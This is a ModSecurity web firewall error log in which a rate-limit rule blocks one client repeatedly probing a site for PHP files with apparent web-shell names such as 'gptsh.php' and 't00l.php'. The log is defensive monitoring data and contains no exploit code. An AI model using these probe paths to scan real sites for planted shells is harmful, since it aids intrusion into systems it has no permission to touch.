[Tue Mar 31 09:00:21.448591 2026] [:error] [pid 36891:tid 36946] [client 4.223.111.108:12137] [client 4.223.111.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/press.php"] [unique_id "acscpZJhiMaJUqoqfl431gAAAFY"]
[Tue Mar 31 09:00:21.973247 2026] [:error] [pid 41421:tid 41442] [client 4.223.111.108:12120] [client 4.223.111.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/press.php"] [unique_id "acscpRSaDjY9kKFtUQB0yQAAARI"]
[Tue Mar 31 09:00:22.500735 2026] [:error] [pid 36891:tid 36937] [client 4.223.111.108:12155] [client 4.223.111.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/press.php"] [unique_id "acscppJhiMaJUqoqfl432wAAAE0"]
[Tue Mar 31 09:00:23.025870 2026] [:error] [pid 41421:tid 41427] [client 4.223.111.108:12070] [client 4.223.111.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/aa.php"] [unique_id "acscpxSaDjY9kKFtUQB0zQAAAQM"]
[Tue Mar 31 09:00:23.552498 2026] [:error] [pid 36891:tid 36944] [client 4.223.111.108:12037] [client 4.223.111.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/aa.php"] [unique_id "acscp5JhiMaJUqoqfl433AAAAFQ"]
[Tue Mar 31 09:00:24.078151 2026] [:error] [pid 36891:tid 36926] [client 4.223.111.108:12112] [client 4.223.111.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/aa.php"] [unique_id "acscqJJhiMaJUqoqfl433gAAAEI"]
[Tue Mar 31 09:00:24.606540 2026] [:error] [pid 36890:tid 36895] [client 4.223.111.108:12106] [client 4.223.111.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/aa.php"] [unique_id "acscqJ8FASPd_uH8z7dQrwAAAAA"]
[Tue Mar 31 09:00:25.133660 2026] [:error] [pid 36892:tid 36970] [client 4.223.111.108:12035] [client 4.223.111.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/Geforce.php"] [unique_id "acscqUyj9S4G0ek3O4LSiQAAAJM"]
[Tue Mar 31 09:00:25.659187 2026] [:error] [pid 36891:tid 36936] [client 4.223.111.108:12060] [client 4.223.111.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/Geforce.php"] [unique_id "acscqZJhiMaJUqoqfl434QAAAEw"]
[Tue Mar 31 09:00:26.190984 2026] [:error] [pid 36892:tid 36963] [client 4.223.111.108:12071] [client 4.223.111.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/Geforce.php"] [unique_id "acscqkyj9S4G0ek3O4LSjQAAAIw"]
[Tue Mar 31 09:00:26.716769 2026] [:error] [pid 36982:tid 37005] [client 4.223.111.108:12083] [client 4.223.111.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/Geforce.php"] [unique_id "acscqvlMmeoQKN0r_GOI3AAAANQ"]
[Tue Mar 31 09:00:27.243550 2026] [:error] [pid 36982:tid 36997] [client 4.223.111.108:12039] [client 4.223.111.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/jlex.php"] [unique_id "acscq_lMmeoQKN0r_GOI3QAAAMw"]
[Tue Mar 31 09:00:27.768804 2026] [:error] [pid 36891:tid 36944] [client 4.223.111.108:12156] [client 4.223.111.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/jlex.php"] [unique_id "acscq5JhiMaJUqoqfl435AAAAFQ"]
[Tue Mar 31 09:00:28.297884 2026] [:error] [pid 36890:tid 36908] [client 4.223.111.108:12062] [client 4.223.111.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/jlex.php"] [unique_id "acscrJ8FASPd_uH8z7dQtQAAAA0"]
[Tue Mar 31 09:00:28.823696 2026] [:error] [pid 36982:tid 37004] [client 4.223.111.108:12101] [client 4.223.111.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/jlex.php"] [unique_id "acscrPlMmeoQKN0r_GOI4wAAANM"]
[Tue Mar 31 09:00:29.348302 2026] [:error] [pid 36891:tid 36930] [client 4.223.111.108:12088] [client 4.223.111.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/dichku.php"] [unique_id "acscrZJhiMaJUqoqfl435wAAAEY"]
[Tue Mar 31 09:00:29.875564 2026] [:error] [pid 36982:tid 36986] [client 4.223.111.108:11974] [client 4.223.111.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/dichku.php"] [unique_id "acscrflMmeoQKN0r_GOI7wAAAME"]
[Tue Mar 31 09:00:30.403406 2026] [:error] [pid 41421:tid 41426] [client 4.223.111.108:12059] [client 4.223.111.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/dichku.php"] [unique_id "acscrhSaDjY9kKFtUQB04QAAAQI"]
[Tue Mar 31 09:00:30.929977 2026] [:error] [pid 36982:tid 36990] [client 4.223.111.108:12067] [client 4.223.111.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/dichku.php"] [unique_id "acscrvlMmeoQKN0r_GOI8wAAAMU"]
[Tue Mar 31 09:00:31.455175 2026] [:error] [pid 36891:tid 36937] [client 4.223.111.108:12095] [client 4.223.111.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/t00l.php"] [unique_id "acscr5JhiMaJUqoqfl437wAAAE0"]
[Tue Mar 31 09:00:31.980294 2026] [:error] [pid 36982:tid 36991] [client 4.223.111.108:12157] [client 4.223.111.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/t00l.php"] [unique_id "acscr_lMmeoQKN0r_GOI-QAAAMY"]
[Tue Mar 31 09:00:32.506545 2026] [:error] [pid 36891:tid 36928] [client 4.223.111.108:12033] [client 4.223.111.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/t00l.php"] [unique_id "acscsJJhiMaJUqoqfl438AAAAEQ"]
[Tue Mar 31 09:00:33.034589 2026] [:error] [pid 41421:tid 41445] [client 4.223.111.108:11983] [client 4.223.111.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/t00l.php"] [unique_id "acscsRSaDjY9kKFtUQB04wAAARU"]
[Tue Mar 31 09:00:33.562915 2026] [:error] [pid 36890:tid 36904] [client 4.223.111.108:12125] [client 4.223.111.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/vvedr.php"] [unique_id "acscsZ8FASPd_uH8z7dQugAAAAk"]
[Tue Mar 31 09:00:34.087831 2026] [:error] [pid 36892:tid 36973] [client 4.223.111.108:12041] [client 4.223.111.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/vvedr.php"] [unique_id "acscskyj9S4G0ek3O4LSmgAAAJY"]
[Tue Mar 31 09:00:34.616503 2026] [:error] [pid 41421:tid 41440] [client 4.223.111.108:12139] [client 4.223.111.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/vvedr.php"] [unique_id "acscshSaDjY9kKFtUQB05QAAARA"]
[Tue Mar 31 09:00:35.142414 2026] [:error] [pid 36982:tid 36989] [client 4.223.111.108:12081] [client 4.223.111.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/vvedr.php"] [unique_id "acscs_lMmeoQKN0r_GOI_wAAAMQ"]
[Tue Mar 31 09:00:35.665819 2026] [:error] [pid 36892:tid 36960] [client 4.223.111.108:11979] [client 4.223.111.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/2.php"] [unique_id "acscs0yj9S4G0ek3O4LSowAAAIk"]
[Tue Mar 31 09:00:36.190274 2026] [:error] [pid 36890:tid 36899] [client 4.223.111.108:12086] [client 4.223.111.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/2.php"] [unique_id "acsctJ8FASPd_uH8z7dQvQAAAAQ"]
[Tue Mar 31 09:00:36.715317 2026] [:error] [pid 36890:tid 36895] [client 4.223.111.108:12128] [client 4.223.111.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/2.php"] [unique_id "acsctJ8FASPd_uH8z7dQwQAAAAA"]
[Tue Mar 31 09:00:37.243601 2026] [:error] [pid 36890:tid 36911] [client 4.223.111.108:12138] [client 4.223.111.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/2.php"] [unique_id "acsctZ8FASPd_uH8z7dQwwAAABA"]
[Tue Mar 31 09:00:37.772820 2026] [:error] [pid 41421:tid 41444] [client 4.223.111.108:12063] [client 4.223.111.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/gptsh.php"] [unique_id "acsctRSaDjY9kKFtUQB06wAAARQ"]
[Tue Mar 31 09:00:38.298330 2026] [:error] [pid 41421:tid 41436] [client 4.223.111.108:12092] [client 4.223.111.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/gptsh.php"] [unique_id "acscthSaDjY9kKFtUQB07gAAAQw"]
[Tue Mar 31 09:00:38.823987 2026] [:error] [pid 36892:tid 36964] [client 4.223.111.108:12036] [client 4.223.111.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/gptsh.php"] [unique_id "acsctkyj9S4G0ek3O4LSrwAAAI0"]
[Tue Mar 31 09:00:39.350462 2026] [:error] [pid 41421:tid 41448] [client 4.223.111.108:12051] [client 4.223.111.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/gptsh.php"] [unique_id "acsctxSaDjY9kKFtUQB08AAAARg"]
[Tue Mar 31 09:00:39.878842 2026] [:error] [pid 36890:tid 36918] [client 4.223.111.108:11997] [client 4.223.111.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/albin.php"] [unique_id "acsct58FASPd_uH8z7dQyQAAABc"]
[Tue Mar 31 09:00:40.407985 2026] [:error] [pid 36982:tid 37009] [client 4.223.111.108:12048] [client 4.223.111.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/albin.php"] [unique_id "acscuPlMmeoQKN0r_GOJAwAAANg"]
[Tue Mar 31 09:00:40.933344 2026] [:error] [pid 36982:tid 36998] [client 4.223.111.108:12135] [client 4.223.111.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/albin.php"] [unique_id "acscuPlMmeoQKN0r_GOJBAAAAM0"]
[Tue Mar 31 09:00:41.460875 2026] [:error] [pid 36982:tid 36992] [client 4.223.111.108:12052] [client 4.223.111.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/albin.php"] [unique_id "acscuflMmeoQKN0r_GOJCAAAAMc"]
[Tue Mar 31 09:00:41.985548 2026] [:error] [pid 41421:tid 41426] [client 4.223.111.108:11984] [client 4.223.111.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/htto.php"] [unique_id "acscuRSaDjY9kKFtUQB0-AAAAQI"]
[Tue Mar 31 09:00:42.510576 2026] [:error] [pid 41421:tid 41433] [client 4.223.111.108:12032] [client 4.223.111.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/htto.php"] [unique_id "acscuhSaDjY9kKFtUQB0_AAAAQk"]
[Tue Mar 31 09:00:43.038335 2026] [:error] [pid 36891:tid 36944] [client 4.223.111.108:11981] [client 4.223.111.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/htto.php"] [unique_id "acscu5JhiMaJUqoqfl44AQAAAFQ"]
[Tue Mar 31 09:00:43.561207 2026] [:error] [pid 36892:tid 36973] [client 4.223.111.108:12141] [client 4.223.111.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/htto.php"] [unique_id "acscu0yj9S4G0ek3O4LSuwAAAJY"]
[Tue Mar 31 09:00:44.085432 2026] [:error] [pid 36890:tid 36912] [client 4.223.111.108:11970] [client 4.223.111.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xhejulap.php"] [unique_id "acscvJ8FASPd_uH8z7dQ0AAAABE"]
[Tue Mar 31 09:00:44.609945 2026] [:error] [pid 36890:tid 36918] [client 4.223.111.108:12084] [client 4.223.111.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xhejulap.php"] [unique_id "acscvJ8FASPd_uH8z7dQ0wAAABc"]
[Tue Mar 31 09:00:45.135292 2026] [:error] [pid 41421:tid 41443] [client 4.223.111.108:11977] [client 4.223.111.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xhejulap.php"] [unique_id "acscvRSaDjY9kKFtUQB1BQAAARM"]
[Tue Mar 31 09:00:45.659345 2026] [:error] [pid 41421:tid 41426] [client 4.223.111.108:12075] [client 4.223.111.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xhejulap.php"] [unique_id "acscvRSaDjY9kKFtUQB1BwAAAQI"]
[Tue Mar 31 09:00:46.211063 2026] [:error] [pid 41421:tid 41431] [client 4.223.111.108:12131] [client 4.223.111.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/66.php"] [unique_id "acscvhSaDjY9kKFtUQB1DAAAAQc"]
[Tue Mar 31 09:00:46.737350 2026] [:error] [pid 36891:tid 36940] [client 4.223.111.108:12124] [client 4.223.111.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/66.php"] [unique_id "acscvpJhiMaJUqoqfl44AwAAAFA"]
[Tue Mar 31 09:00:47.266523 2026] [:error] [pid 36890:tid 36901] [client 4.223.111.108:12057] [client 4.223.111.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/66.php"] [unique_id "acscv58FASPd_uH8z7dQ1wAAAAY"]
[Tue Mar 31 09:00:47.793422 2026] [:error] [pid 36982:tid 37001] [client 4.223.111.108:12043] [client 4.223.111.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/66.php"] [unique_id "acscv_lMmeoQKN0r_GOJDQAAANA"]
[Tue Mar 31 09:00:48.328772 2026] [:error] [pid 36890:tid 36903] [client 4.223.111.108:12142] [client 4.223.111.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/8pewqMTX.php"] [unique_id "acscwJ8FASPd_uH8z7dQ2gAAAAg"]
[Tue Mar 31 09:00:48.853136 2026] [:error] [pid 36891:tid 36942] [client 4.223.111.108:12133] [client 4.223.111.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/8pewqMTX.php"] [unique_id "acscwJJhiMaJUqoqfl44BgAAAFI"]
[Tue Mar 31 09:00:49.382128 2026] [:error] [pid 36982:tid 37006] [client 4.223.111.108:12001] [client 4.223.111.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/8pewqMTX.php"] [unique_id "acscwflMmeoQKN0r_GOJEwAAANU"]
[Tue Mar 31 09:00:49.909991 2026] [:error] [pid 36890:tid 36905] [client 4.223.111.108:12049] [client 4.223.111.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/8pewqMTX.php"] [unique_id "acscwZ8FASPd_uH8z7dQ3wAAAAo"]
[Tue Mar 31 09:00:50.438833 2026] [:error] [pid 36891:tid 36924] [client 4.223.111.108:12020] [client 4.223.111.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ddpxi.php"] [unique_id "acscwpJhiMaJUqoqfl44CwAAAEA"]
